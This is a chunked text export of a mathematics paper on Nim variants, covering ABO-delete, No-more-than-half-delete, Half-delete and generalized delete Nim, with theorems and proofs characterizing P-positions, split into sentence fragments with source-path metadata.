+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , zn⟩ is a P-position  if and only if  (*) for every i, the remainder of zi divided by n(n − 1) is between 1 and  n − 1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Note that this theorem generalizes Theorem 2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Proof.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Let Gn = {⟨z1, z2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , zn⟩ | z1, z2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , zn ∈ N}, P be the subset of  Gn, which satisfies (*), and N = Gn \\P.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Obviously, P contains the terminal  positions of ABO-delete Nim and this game is not a loopy game.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Therefore,  it is enough to show (i) every position in P has no option in P and (ii) every  position in N has at least one option in P.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (i) Assume that Z = ⟨z1, z2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , zn⟩ ∈ P and Z′ = ⟨z′  1, z′  2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , z′  n⟩ is an  option of Z.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Then there exists i such that zi = z′  1 +z′  2 +· · · +z′  n.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Therefore,  from (*), the reminder of z′  1 + z′  2 + · · · + z′  n divided by n(n − 1) is larger  than 0 and less than n.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' On the other hand, if z′  1, z′  2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , z′  n satisfies (*), then  the sum of reminders of z′  1, z′  2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , z′  n is between n and n(n − 1), which is a  contradiction.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Thus, Z′ ̸∈ P.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (ii) Assume that Z = ⟨z1, z2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , zn⟩ ∈ N.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Then, there exists zi whose  reminder divided by n(n − 1) is larger than or equal to n (Here, we say the  reminder is n(n−1) if zi can be divided by n(n−1)).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' By removing all heaps  except for this heap and splitting this heap into n heaps, one can have a  position in P.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  How to split the heap into n heaps at the last of the proof will be pre-  sented in Lemma 5.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='5(2).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  4  4  No-more-than-half-delete Nim  Next, we introduce No-more-than-half-delete Nim or NMTH-delete Nim.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' In  this ruleset, the player removes no more than half heaps of all heaps in a  move.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='1  The rule of NMTH-delete Nim  Definition 4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='1 (NMTH-delete Nim).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' There are n heaps of tokens.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' The  player performs the following two operations in succession on his/her turn.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Chooses a positive integer k such that k ≤ n  2, selects k heaps, and  deletes them.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Selects k heaps of the remaining n − k heaps and splits each heap into  two heaps.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Note that if n = 2, then the rule is the same as VDN and if n = 3,  then the rule is the same as single delete nim with the number of heaps is  3, presented in Section 6.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='2  Characterizing positions in NMTH-delete Nim  We found following theorem for NMTH-delete Nim.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Theorem 4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' No-more-than-half-delete Nim position ⟨z1, z2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , zn⟩ is a  P-position if and only if z1, z2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , zn satisfy the following condition:  (i) v2(z1) = v2(z2) = · · · = v2(zn) = 0 if n is even,  (ii) v2(z1) = v2(z2) = · · · = v2(zn) if n is odd.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  For proving this theorem, we prepare following propositions.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' They are  trivial, so we omit the proof.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Proposition 4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' For x, y, z ∈ N, if x + y = z, then following (i) and (ii)  holds.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (i) If v2(x) = v2(y), then v2(z) > v2(x).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (ii) If v2(x) ̸= v2(y), then v2(z) = min{v2(x), v2(y)}.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Proposition 4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Assume that z ∈ N and v2(z) > 0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' For any nonnegative  integer k < v2(z), there exist x, y ∈ N such that x + y = z and v2(x) =  v2(y) = k.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  5  For instance, (x, y) = (z −2k, 2k) satisfies x+y = z and v2(x) = v2(y) =  k.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  In the rest of this paper, we say a heap is even (resp.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' odd) heap if the  number of stones of the heap is an even (resp.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' odd) number.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Proof of Theorem 4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Let Pe be the set of positions in which every heap is  an odd heap and Ne be the set of positions in which at least one heap is  an even heap.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' We also let Po be the set of positions such that every 2-adic  valuation of the size of a heap is the same number and No be the set of  positions with several different 2-adic valuations of the size of a heap.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (i) Assume that n is an even number.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Since there are one even heap and  one odd heap after an odd heap is split, a position in Pe has no option in Pe.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Next, consider a position in Ne.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' If the number of even heaps is larger than  or equal to n  2 , then by deleting heaps other than n  2 even heaps and splitting  the remaining even heaps into odd heaps, one can obtain a position in Pe.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  If there are less than n  2 even heaps, then by deleting the same number of  odd heaps as even heaps and splitting all even heaps into odd heaps, one  can obtain a position in Pe.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (ii) Assume that n is an odd number.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Then, after one move, at least one  heap remains undeleted and unsplit.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' From the contraposition of proposition  4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='3, if one heap is split, then at least one 2-adic valuation of the heaps is  differ from 2-adic valuation of the original heap.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Therefore, every position  in Po has no option in Po.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Next, in position ⟨z1, z2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , zn⟩ ∈ No, assume  that v2(z1) ≤ v2(z2) ≤ · · · ≤ v2(zn) and v2(z1) ̸= v2(zn) and we show that  from this position one can obtain a position in Po in a single move.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' If the  number of j such that v2(z1) < v2(zj) is less than or equal to n−1  2 , then from  Proposition 4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='4, one can split every heap whose 2-adic valuation is larger  than v2(z1) into two heaps whose 2-adic valuations are v2(z1).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' For the other  cases, one can split n−1  2  heaps whose 2-adic valuations are larger than v2(z1)  into n − 1 heaps whose 2-adic valuations are v2(z1).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  5  Half-delete Nim  In this section, we introduce Half-delete Nim.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' In this ruleset, differ from  NMTH-delete nim, the player removes just half heaps of all heaps in a move,  so the number of heaps in this ruleset must be an even number.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' We also  introduce a generalization of this ruleset.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  6  5.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='1  The rule of Half-delete Nim  Definition 5.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='1 (Half-delete Nim).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' There are n (= 2m) heaps of tokens.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  The player performs the following two operations in succession on his/her  turn.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Selects m heaps and deletes them.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Splits each of the remaining m heaps into two heaps.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  In particular, if n = 2, this game is the same as VDN.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  5.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='2  Characterizing positions in Half-delete Nim  Theorem 5.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Let Z = ⟨z1, z2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , z2m⟩ be a Half-delete Nim position,  where each zi is the number of tokens and zi ≤ zi+1 for any i.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Let 2s be the  smallest power of 2 greater than zm+1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Then Z is a P-position if and only  if z1, z2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , z2m satisfy both of the following two conditions:  (a) all z1, z2, .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' .' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' , zm+1 are odd,  (b) For any l, if zl is even, then 2s ≤ zl.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  This theorem is a special case of Theorem 5.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='6 in the next subsection, so  the proof is omitted.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  5.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='3  k−1  k n-delete nim  We consider a generalization of Half-delete Nim.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Definition 5.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='3 (k−1  k n-delete Nim).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' There are n (= km) heaps of tokens.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  The player performs the following two operations in succession on his/her  turn.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Selects (k − 1)m heaps and deletes them.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Splits each of the remaining m heaps into k heaps.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  In particular, if k = 2, this game is the same as Half-delete Nim, and if  k = n, this game is the same as ABO-delete Nim.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Definition 5.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' A positive integer whose remainder divided by k(k − 1)  lies between 1 and k − 1 is called a k-oddoid number, and any other positive  integer is called a k-evenoid number.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' A heap with an oddoid number of  tokens is called a k-oddoid heap, and a heap with an evenoid number of  tokens is called a k-evenoid heap.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  7  In particular, if k = 2, oddoid and evenoid numbers are consistent with  the usual notion of odd and even numbers.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Lemma 5.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='5.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (1) It is not possible to split an k-oddoid number into k k-oddoid numbers.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (2) All integers x between k and k(k − 1) can be split into k integers that  are between 1 and k − 1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  (3) Let s be a positive integer.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' Every k-evenoid number y < ks can be  split into k k-oddoid numbers which are less than ks−1.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content='  Proof.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
+page_content=' (1) We can prove this in the similar way to (i) in the proof of Theorem  3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/WtFOT4oBgHgl3EQf7zTC/content/2301.12964v1.pdf'}
